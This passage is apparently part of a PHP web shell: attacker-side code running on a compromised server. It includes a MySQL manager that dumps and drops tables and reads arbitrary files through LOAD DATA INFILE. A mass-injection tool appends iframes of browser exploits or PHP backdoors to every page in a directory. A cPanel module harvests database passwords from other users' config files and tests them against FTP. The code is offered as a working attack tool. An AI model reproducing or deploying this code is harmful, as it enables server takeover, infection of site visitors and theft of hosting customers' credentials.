  2808.             echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  2809.             echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  2810.             echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  2811.             echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  2812.             echo "</form>";
  2813.           }
  2814.           else {
  2815.             $diplay = TRUE;
  2816.             $set = array();
  2817.             $set["sock"] = $sql_sock;
  2818.             $set["db"] = $sql_db;
  2819.             $dump_out = "download";
  2820.             $set["print"] = 0;
  2821.             $set["nl2br"] = 0;
  2822.             $set[""] = 0;
  2823.             $set["file"] = $dump_file;
  2824.             $set["add_drop"] = TRUE;
  2825.             $set["onlytabs"] = array();
  2826.             if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  2827.             $ret = mysql_dump($set);
  2828.             if ($sql_dump_download) {
  2829.               @ob_clean();
  2830.               header("Content-type: application/octet-stream");
  2831.               header("Content-length: ".strlen($ret));
  2832.               header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  2833.               echo $ret;
  2834.               exit;
  2835.             }
  2836.             elseif ($sql_dump_savetofile) {
  2837.               $fp = fopen($sql_dump_file,"w");
  2838.               if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  2839.               else {
  2840.                 fwrite($fp,$ret);
  2841.                 fclose($fp);
  2842.                 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  2843.               }
  2844.             }
  2845.             else {echo "<b>Dump: nothing to do!</b>";}
  2846.           }
  2847.         }
  2848.         if ($diplay) {
  2849.     if (!empty($sql_tbl)) {
  2850.       if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
  2851.       $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  2852.       $count_row = mysql_fetch_array($count);
  2853.       mysql_free_result($count);
  2854.       $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  2855.       $tbl_struct_fields = array();
  2856.       while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  2857.       if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  2858.       if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  2859.       if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  2860.       if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  2861.       $perpage = $sql_tbl_le - $sql_tbl_ls;
  2862.       if (!is_numeric($perpage)) {$perpage = 10;}
  2863.       $numpages = $count_row[0]/$perpage;
  2864.       $e = explode(" ",$sql_order);
  2865.       if (count($e) == 2) {
  2866.         if ($e[0] == "d") {$asc_desc = "DESC";}
  2867.         else {$asc_desc = "ASC";}
  2868.         $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  2869.       }
  2870.       else {$v = "";}
  2871.       $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  2872.       $result = mysql_query($query) or print(mysql_smarterror());
  2873.       echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  2874.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a>   ";
  2875.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a>   ";
  2876.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a>   ";
  2877.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a>   ";
  2878.       if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  2879.       if ($sql_tbl_x == "insert") {
  2880.         if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  2881.         if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
  2882.         else {
  2883.           echo "<br><br><b>Inserting row into table:</b><br>";
  2884.           if (!empty($sql_tbl_insert_q)) {
  2885.             $sql_query = "SELECT * FROM `".$sql_tbl."`";
  2886.             $sql_query .= " WHERE".$sql_tbl_insert_q;
  2887.             $sql_query .= " LIMIT 1;";
  2888.             $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  2889.             $values = mysql_fetch_assoc($result);
  2890.             mysql_free_result($result);
  2891.           }
  2892.           else {$values = array();}
  2893.           echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  2894.           foreach ($tbl_struct_fields as $field) {
  2895.             $name = $field["Field"];
  2896.             if (empty($sql_tbl_insert_q)) {$v = "";}
  2897.             echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  2898.             $i++;
  2899.           }
  2900.           echo "</table><br>";
  2901.           echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  2902.           if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  2903.           echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  2904.         }
  2905.       }
  2906.       if ($sql_tbl_x == "browse") {
  2907.         $sql_tbl_ls = abs($sql_tbl_ls);
  2908.         $sql_tbl_le = abs($sql_tbl_le);
  2909.         echo "<hr size=\"1\" noshade>";
  2910.         echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
  2911.         $b = 0;
  2912.         for($i=0;$i<$numpages;$i++) {
  2913.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  2914.           echo $i;
  2915.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  2916.           if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  2917.           else {echo " ";}
  2918.         }
  2919.         if ($i == 0) {echo "empty";}
  2920.         echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
  2921.         echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  2922.         echo "<tr>";
  2923.         echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  2924.         for ($i=0;$i<mysql_num_fields($result);$i++) {
  2925.           $v = mysql_field_name($result,$i);
  2926.           if ($e[0] == "a") {$s = "d"; $m = "asc";}
  2927.           else {$s = "a"; $m = "desc";}
  2928.           echo "<td>";
  2929.           if (empty($e[0])) {$e[0] = "a";}
  2930.           if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  2931.           else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  2932.           echo "</td>";
  2933.         }
  2934.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  2935.       echo "</tr>";
  2936.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  2937.        echo "<tr>";
  2938.        $w = "";
  2939.        $i = 0;
  2940.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  2941.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  2942.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  2943.        $i = 0;
  2944.        foreach ($row as $k=>$v)
  2945.        {
  2946.         $v = htmlspecialchars($v);
  2947.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  2948.         echo "<td>".$v."</td>";
  2949.         $i++;
  2950.        }
  2951.        echo "<td>";
  2952.        echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
  2953.        echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
  2954.        echo "</td>";
  2955.        echo "</tr>";
  2956.       }
  2957.       mysql_free_result($result);
  2958.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
  2959.       echo "<option value=\"\">With selected:</option>";
  2960.       echo "<option value=\"deleterow\">Delete</option>";
  2961.       echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
  2962.      }
  2963.     }
  2964.     else {
  2965.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  2966.      if (!$result) {echo mysql_smarterror();}
  2967.      else
  2968.      {
  2969.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  2970.       $i = 0;
  2971.       $tsize = $trows = 0;
  2972.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  2973.       {
  2974.        $tsize += $row["Data_length"];
  2975.        $trows += $row["Rows"];
  2976.        $size = view_size($row["Data_length"]);
  2977.        echo "<tr>";
  2978.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  2979.        echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
  2980.        echo "<td>".$row["Rows"]."</td>";
  2981.        echo "<td>".$row["Type"]."</td>";
  2982.        echo "<td>".$row["Create_time"]."</td>";
  2983.        echo "<td>".$row["Update_time"]."</td>";
  2984.        echo "<td>".$size."</td>";
  2985.        echo "<td> <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>  <a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
  2986.        echo "</tr>";
  2987.        $i++;
  2988.       }
  2989.       echo "<tr bgcolor=\"000000\">";
  2990.       echo "<td><center><b>+</b></center></td>";
  2991.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  2992.       echo "<td><b>".$trows."</b></td>";
  2993.       echo "<td>".$row[1]."</td>";
  2994.       echo "<td>".$row[10]."</td>";
  2995.       echo "<td>".$row[11]."</td>";
  2996.       echo "<td><b>".view_size($tsize)."</b></td>";
  2997.       echo "<td></td>";
  2998.       echo "</tr>";
  2999.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
  3000.       echo "<option value=\"\">With selected:</option>";
  3001.       echo "<option value=\"tbldrop\">Drop</option>";
  3002.       echo "<option value=\"tblempty\">Empty</option>";
  3003.       echo "<option value=\"tbldump\">Dump</option>";
  3004.       echo "<option value=\"tblcheck\">Check table</option>";
  3005.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  3006.       echo "<option value=\"tblrepair\">Repair table</option>";
  3007.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  3008.       echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
  3009.       mysql_free_result($result);
  3010.      }
  3011.     }
  3012.    }
  3013.    }
  3014.   }
  3015.   else {
  3016.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  3017.    if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  3018.    if (!empty($sql_x)) {
  3019.     echo "<hr size=\"1\" noshade>";
  3020.     if ($sql_x == "newdb") {
  3021.      echo "<b>";
  3022.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  3023.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  3024.     }
  3025.     if ($sql_x == "serverstatus") {
  3026.      $result = mysql_query("SHOW STATUS", $sql_sock);
  3027.      echo "<center><b>Server-status variables:</b><br><br>";
  3028.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  3029.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  3030.      echo "</table></center>";
  3031.      mysql_free_result($result);
  3032.     }
  3033.     if ($sql_x == "servervars") {
  3034.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  3035.      echo "<center><b>Server variables:</b><br><br>";
  3036.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  3037.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  3038.      echo "</table>";
  3039.      mysql_free_result($result);
  3040.     }
  3041.     if ($sql_x == "processes") {
  3042.      if (!empty($kill)) {
  3043.        $query = "KILL ".$kill.";";
  3044.        $result = mysql_query($query, $sql_sock);
  3045.        echo "<b>Process #".$kill." was killed.</b>";
  3046.      }
  3047.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  3048.      echo "<center><b>Processes:</b><br><br>";
  3049.      echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  3050.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  3051.      echo "</table>";
  3052.      mysql_free_result($result);
  3053.     }
  3054.     if ($sql_x == "getfile")
  3055.     {
  3056.      $tmpdb = $sql_login."_tmpdb";
  3057.      $select = mysql_select_db($tmpdb);
  3058.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  3059.      if ($select)
  3060.      {
  3061.       $created = FALSE;
  3062.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  3063.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  3064.       $result = mysql_query("SELECT * FROM tmp_file;");
  3065.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  3066.       else
  3067.       {
  3068.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  3069.        $f = "";
  3070.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  3071.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  3072.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  3073.        mysql_free_result($result);
  3074.        mysql_query("DROP TABLE tmp_file;");
  3075.       }
  3076.      }
  3077.      mysql_drop_db($tmpdb); 
  3078.     }
  3079.    }
  3080.   }
  3081. }
  3082. echo "</td></tr></table>";
  3083. if ($sql_sock) {
  3084.   $affected = @mysql_affected_rows($sql_sock);
  3085.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  3086.   echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  3087. }
  3088. echo "</table>";
  3089. }
  3090.  
  3091. if ($x == 'massbrowsersploit') {
  3092. ?>
  3093. <b>Mass Code Injection:</b><br><br>
  3094. Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
  3095. <form action="<?php echo $surl; ?>" method=GET>
  3096. <input type=hidden name="masssploit" value="goahead">
  3097. <input type=hidden name="act" value="massbrowsersploit">
  3098. <table border=0>
  3099. <tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
  3100. <tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
  3101. <tr><td><input type=submit value="Inject Code"></td></tr>
  3102. </table>
  3103. </form>
  3104. <?php
  3105. if ($_GET['masssploit'] == 'goahead') {
  3106.     if (is_dir($_GET['pathtomass'])) {
  3107.         $lolinject = $_GET['injectthis'];
  3108.         foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
  3109.             $fp=fopen($injectj00,"a+");
  3110.             if (fputs($fp,$lolinject)){
  3111.                 echo '<font color=green>'.$injectj00.' was injected<br></font>';
  3112.             } else {
  3113.                 echo '<font color=red>failed to inject '.$injectj00.'</font>';
  3114.             }
  3115.         }
  3116.         foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
  3117.             $fp=fopen($injectj00,"a+");
  3118.             if (fputs($fp,$lolinject)){
  3119.                 echo $injectj00.' was injected<br>';
  3120.             } else {
  3121.                 echo '<font color=red>failed to inject '.$injectj00.'</font>';
  3122.             }
  3123.         }
  3124.         foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
  3125.             $fp=fopen($injectj00,"a+");
  3126.             if (fputs($fp,$lolinject)){
  3127.                 echo $injectj00.' was injected<br>';
  3128.             } else {
  3129.                 echo '<font color=red>failed to inject '.$injectj00.'</font>';
  3130.             }
  3131.         }
  3132.     } else { //end if inputted dir is real -- if not, show an ugly red error
  3133.         echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
  3134.     } // end if inputted dir is real, for real this time
  3135. } // end if confirmation to mass sploit is go
  3136.  
  3137. //new php backdoor
  3138. ?>
  3139. <b>Mass Code Injection:</b><br><br>
  3140. Use this to add PHP to the end of every .php page in the directory specified.<br><br>
  3141. <form action="<?php echo $surl; ?>" method=GET>
  3142. <input type=hidden name="masssploit" value="php">
  3143. <input type=hidden name="act" value="massbrowsersploit">
  3144. <table border=0>
  3145. <tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
  3146. <tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<?php if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr>
  3147. <tr><td><input type=submit value="Inject Code"></td></tr>
  3148. </table>
  3149. </form>
  3150. <?php
  3151. if ($_GET['masssploit'] == 'php') {
  3152.     if (is_dir($_GET['pathtomass'])) {
  3153.         $lolinject = $_GET['injectthis'];
  3154.         foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
  3155.             $fp=fopen($injectj00,"a+");
  3156.             if (fputs($fp,$lolinject)){
  3157.                 echo '<font color=green>'.$injectj00.' was injected<br></font>';
  3158.             } else {
  3159.                 echo '<font color=red>failed to inject '.$injectj00.'</font>';
  3160.             }
  3161.         }
  3162.     } else { //end if inputted dir is real -- if not, show an ugly red error
  3163.         echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
  3164.     } // end if inputted dir is real, for real this time
  3165. } // end if confirmation to mass sploit is php only
  3166.  
  3167.  
  3168. } // end if massbrowsersploit is called
  3169.  
  3170.  
  3171.  
  3172.  
  3173.  
  3174. if ($x == 'cpanel'){
  3175.     if ($_GET['go'] == 'go'){
  3176.     set_time_limit(0);
  3177.     ##################
  3178.     @$passwd=fopen('/etc/passwd','r');
  3179.     if (!$passwd) {
  3180.        echo "[-] Error : coudn't read /etc/passwd";
  3181.        exit;
  3182.     }
  3183.     $path_to_public=array();
  3184.     $users=array();
  3185.     $pathtoconf=array();
  3186.     $i=0;
  3187.     
  3188.     while(!feof($passwd)) {
  3189.       $str=fgets($passwd);
  3190.       if ($i>35) {
  3191.         $pos=strpos($str,":");
  3192.         $username=substr($str,0,$pos);
  3193.         $dirz="/home/$username/public_html/";
  3194.         if (($username!="")) {
  3195.             if (is_readable($dirz)) {
  3196.                 array_push($users,$username);
  3197.                 array_push($path_to_public,$dirz);
  3198.             }
  3199.         }
  3200.       }
  3201.       $i++;
  3202.     }
  3203.     ###################
  3204.     
  3205.     #########################
  3206.     function read_dir($path,$username) {
  3207.         if ($handle = opendir($path)) {
  3208.             while (false !== ($file = readdir($handle))) {
  3209.                   $fpath="$path$file";
  3210.                   if (($file!='.') and ($file!='..')) {
  3211.                      if (is_readable($fpath)) {
  3212.                         $dr="$fpath/";
  3213.                         if (is_dir($dr)) {
  3214.                            read_dir($dr,$username);
  3215.                         }
  3216.                         else {
  3217.                              if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
  3218.                                 $pass=get_pass($fpath);
  3219.                                 if ($pass!='') {
  3220.                                    echo "[+] $fpath\n$pass\n";
  3221.                                    ftp_check($username,$pass);
  3222.                                 }
  3223.                              }
  3224.                         }
  3225.                      }
  3226.                   }
  3227.             }
  3228.         }
  3229.     }
  3230.     
  3231.     function get_pass($link) {
  3232.         @$config=fopen($link,'r');
  3233.         while(!feof($config)) {
  3234.             $line=fgets($config);
  3235.             if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
  3236.                 if (strrpos($line,'"'))
  3237.                    $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
  3238.                 else
  3239.                    $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
  3240.                 return $pass;
  3241.             }
  3242.         }
  3243.     }
  3244.     
  3245.     function ftp_check($login,$pass) {
  3246.          @$ftp=ftp_connect('127.0.0.1');
  3247.          if ($ftp) {
  3248.             @$res=ftp_login($ftp,$login,$pass);
  3249.             if ($res) {
  3250.                echo '[cPanel Found] '.$login.':'.$pass."  Success\n";
  3251.             }
  3252.             else ftp_quit($ftp);
  3253.          }
  3254.     }
  3255.     
  3256.     echo "<br><br>";
  3257.     echo "<textarea name='main_window' cols=100 rows=20>";
  3258.     
  3259.     echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n";
  3260.     echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n";
  3261.     
  3262.     echo "[~] Searching for passwords in config.* files...\n\n";
  3263.     foreach ($users as $user) {
  3264.             $path="/home/$user/public_html/";
  3265.             read_dir($path,$user);
  3266.     }
  3267.     
  3268.     echo "\n[+] Done\n";
  3269.     
  3270.     echo "</textarea><br>";
  3271.     }else
  3272.     echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'x=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>';
  3273. }
  3274.  
  3275. if ($x == 'fi'){
  3276. ?>
  3277. <b>Install Local RFI/LFI Scanner</b><br>
  3278. <form action=<?php echo $surl; ?> method=GET>
  3279. <input type=hidden name="x" value="fi">
  3280. <input type=hidden name="install" value="yup">
  3281. Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
  3282. <input type=submit value="Install"></form>
  3283. <?php
  3284.         if ($_GET['install'] == 'yup') {
  3285.             if (is_writable($_GET['path'])) {
  3286.                 cf($_GET['path'].'fi.pl', $fi);
  3287.                 echo '<font color=green><b>fi.pl was created in '.htmlentities($_GET['path']).'</b></font>';
  3288.                 chmod($_GET['path'].'/fi.pl', 0777);
  3289.                 echo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\'';
  3290.             }else{
  3291.                 echo '<font color=red><b>Directory is not writable!</b><br></font>';
  3292.             }
  3293.         }
  3294. }
  3295.  
  3296. if ($x == 'phpproxy'){
  3297. ?>
  3298. <b>Install PHP Based Proxy</b><br>
  3299. <form action=<?php echo $surl; ?> method=GET>
